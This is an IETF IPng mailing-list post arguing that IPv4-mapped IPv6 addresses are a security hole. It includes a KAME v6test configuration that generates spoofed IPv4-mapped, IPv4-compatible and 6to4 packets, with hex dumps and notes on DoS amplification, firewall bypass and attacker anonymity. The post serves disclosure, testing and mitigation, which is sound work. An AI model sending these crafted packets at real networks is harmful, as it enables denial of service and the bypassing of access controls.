>=> I disagree. There is *no* security issue with IPv4-mapped addresses
>as soon as one doesn't forget them.
you were very lucky. there are real attack scenarios, of course
depending on configurations/stack implementations.
- if you implement from RFC2553/RFC2765 straight you will implement
a vulnerable implementation.
- you can't assume programmers to be clever enough to check IPv4 mapped
address right. the point of IPv4 mapped address support is to
decrease porting cost, into as simple as s/AF_INET/AF_INET6/ and
s/gethostbyname/gethostbyname2/. if you did that, you will
get a likely-to-vulnerable userland code. if you are careful
enough to put IN6_IS_ADDR_V4MAPPED everywhere, why not rewriting
it to use getaddrinfo(AI_PASSIVE) and multiple sockets?
so "as soon as ..." looks to me too optimistic.
the following is KAME v6test configuration file that generates
certain packets. the following URL an (expired) draft on this problem.
http://playground.iijlab.net/i-d/draft-itojun-ipv6-transition-abuse-01.txt
let me know if you know of of realworld implementation that are
vulnerable (i believe there are a lot). hope TAHI test to cover
these cases :-)
itojun
# $KAME: transition-abuse.conf,v 1.12 2001/06/23 15:40:30 itojun Exp $
# for more details/discussions, see
# http://playground.iijlab.net/i-d/draft-itojun-ipv6-transition-abuse-01.txt
# abuse of IPv4 mapped address. under the following conditions:
# - the victim kernel stack does not check against IPv4 mapped address on
# IPv6 native packet
# - the victim node runs udp echo service (inetd) on AF_INET6 socket
# the victim node can generate IPv4 broadcast responses mistakenly,
# leading to DoS.
#
# the example also tries bypass access controls and attack inside the firewall
# from outside (works nicer when 9.0.0.1 is an IPv4 firewall).
#
# you can attack any udp services by the same way. udp echo service works the
# best for bad guys (or the worst for victims) since udp packet format is
# common to IPv4 and IPv6, and echo service is common for IPv4 and IPv6.
# therefore, the broadcast response will call for more responses (assumption:
# inetd does not check udp source port).
# attacker -> victim: from ::ffff:10.255.255.255 to ::ffff:9.0.0.1
# victim -> broadcast: from 9.0.0.1 to 10.255.255.255
# more response: from many guys to 9.0.0.1
#
# RFC2553 does NOT comment on this case. also, if the victim node supports
# SIIT (RFC2765) environment, the kernel stack is unable to filter out
# the packet.
#
# to protect your implmentation from the attack, there are multiple ways.
# the author recommends to implement the first three items at least:
# 1. do not support IPv4 mapped address on AF_INET6 API (not compatible with
# RFC2553 section 4.2).
# 2. implement 2553bis-03 IPV6_V6ONLY socket option, and make the default value
# to on (the default value suggested by the document is "off").
# this has almost the same effect as the first bullet (if userland
# code changes IPV6_V6ONLY manually, you will become vulnerable again
# depending on userland program). the change will make your stack
# incompatible with 2553bis-03 section 4.2.
# 3. drop any IPv6 native packet with IPv4 mapped address (incompatible with
# RFC2765).
# 4. on EVERY userland application check the IPv6 source address, if it
# embeds bad IPv4 address (impossible in reality, as it's hard to know what
# is "bad" address, and there are millions of coders in different places)
#
# of course, KAME is not affected. the implementation status differs
# between *BSD base systems (due to policy differences in *BSD).
# - KAME/OpenBSD: (1) and (3) - always safe
# - KAME/NetBSD: (2) and (3) - safe as long as userland programmer does
# not change IPV6_V6ONLY
# - KAME/FreeBSD and KAME/BSDI: (3) - subject to API complications
# 00:28:37.148869 ::ffff:10.255.255.255.7 > ::ffff:9.0.0.1.7: [udp sum ok] udp 0 (len
8, hlim 255)
# 6000 0000 0008 11ff 0000 0000 0000 0000
# 0000 ffff 0aff ffff 0000 0000 0000 0000
# 0000 ffff 0900 0001 0007 0007 0008 ebd0
v4mapped1:\
:ip6-v4mapped1:udp1:
ip6-v4mapped1:\
:ip6_flow#0:ip6_plen=auto:ip6_nxt=auto:ip6_hlim#255:\
:ip6_src="::ffff:10.255.255.255":\
:ip6_dst="::ffff:9.0.0.1":
udp1:\
:udp_sport#7:udp_dport#7:
# one more abuse of IPv4 mapped address.
# bad guy pretends that the traffic is from the machine itself.
# if the victim node re-selects source address on the first udp echo response,
# we will see infinite IPv4 echo traffic on loopback interface
#
# note: most of recent BSD inetd rejects udp echo with source port = 7,
# so they are safe. however, it is still true that we can bypass access
# control like this.
# 00:28:51.286261 ::ffff:127.0.0.1.7 > ::ffff:9.0.0.1.7: [udp sum ok] udp 0 (len 8,
hlim 255)
# 6000 0000 0008 11ff 0000 0000 0000 0000
# 0000 ffff 7f00 0001 0000 0000 0000 0000
# 0000 ffff 0900 0001 0007 0007 0008 77ce
v4mapped2:\
:ip6-v4mapped2:udp1:
ip6-v4mapped2:\
:ip6_flow#0:ip6_plen=auto:ip6_nxt=auto:ip6_hlim#255:\
:ip6_src="::ffff:127.0.0.1":\
:ip6_dst="::ffff:9.0.0.1":
# abuse of IPv4 compatible address (auto tunnel). under the following
# conditions:
# - the victim kernel stack supports auto tunnel
# the victim node will generate IPv4 broadcast responses, leading to DoS.
#
# the example also tries bypass access controls and attack inside the firewall
# from outside (works nicer when 9.0.0.1 is an IPv4 firewall).
#
# with other IPv6 source address, bad guys can attack other IPv4 victim nodes
# anonymously. however, IPv4 packet will always be tunnelled IPv6 packet
# (ip.ip_p == 41), therefore there will be no further traffic amplicfication.
#
# RFC2883 has a comment for embedded broadcast/multicast case, however,
# the set of rules does not make a perfect protection.
#
# KAME is not affected, since it does not support auto tunnels and it drops
# packets with IPv4 compatible address.
# 00:29:02.702670 ::10.255.255.255 > ::9.0.0.1: icmp6: echo request (len 8, hlim 255)
# 6000 0000 0008 3aff 0000 0000 0000 0000
# 0000 0000 0aff ffff 0000 0000 0000 0000
# 0000 0000 0900 0001 8000 6bbd 0000 0000
v4compat:\
:ip6-v4compat:icmp6echo:
ip6-v4compat:\
:ip6_flow#0:ip6_plen=auto:ip6_nxt=auto:ip6_hlim#255:\
:ip6_src="::10.255.255.255":\
:ip6_dst="::9.0.0.1":
icmp6echo:\
:icmp6_type=echo:icmp6_code#0:icmp6_cksum=auto:icmp6_id#0:\
:icmp6_seq#0:
# abuse of 6to4. under the following conditions:
# - the victim node is configured as an 6to4 relay
# the victim node will generate IPv4 broadcast responses, leading to DoS.
#
# with other IPv6 source address, bad guys can attack other IPv4 victim nodes
# anonymously. however, IPv4 packet will always be tunnelled IPv6 packet
# (ip.ip_p == 41), therefore there will be no further traffic amplicfication.
#
# 6to4 RFC suggests checks against embedded broadcat addresses, but it
# does not work in reality. for example, 9.0.0.1 has no idea about topology
# within 16.0.0.0/8 topology, and has no idea about IPv4 broadcast address
# assignments.
# because of this, the following example tries to generate a packet to
# 16.255.255.255 by using 9.0.0.1 (6to4 relay) as trampoline, and hide the
# identity of the real attacker.
# if the admin at 16.0.0.0/8 is careful enough to drop directed broadcasts,
# the scenario does not work.
#
# 6to4 RFC has a comment for embedded broadcast/multicast case, as well as
# private address cases. so if an implementation follows the suggestion,
# there is less chance for vulnerability. but - beware, "less" chance, not
# "no" chance. you are still vulnerable to some of the scenarios.
#
# KAME is not affected, as long as you don't configure your machine as 6to4
# relay. if you configure KAME as 6to4 relay, you are vulnerable to some
# of the attack scenarios.
# 00:28:25.121083 2002:10ff:ffff::1 > 2001:900:1::1: icmp6: echo request (len 8, hlim
255)
# 6000 0000 0008 3aff 2002 10ff ffff 0000
# 0000 0000 0000 0001 2001 0900 0001 0000
# 0000 0000 0000 0001 8000 25b8 0000 0000
stf:\
:ip6-stf:icmp6echo:
ip6-stf:\
:ip6_flow#0:ip6_plen=auto:ip6_nxt=auto:ip6_hlim#255:\
:ip6_src="2002:10ff:ffff::1":\
:ip6_dst="2001:0900:0001::1":
# homework: try using these addresses in extension headers (routing header,
# home address option, whatever) and come up with more complex attack scnearios.
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page: http://playground.sun.com/ipng
FTP archive: ftp://playground.sun.com/pub/ipng
Direct all administrative requests to [EMAIL PROTECTED]
--------------------------------------------------------------------
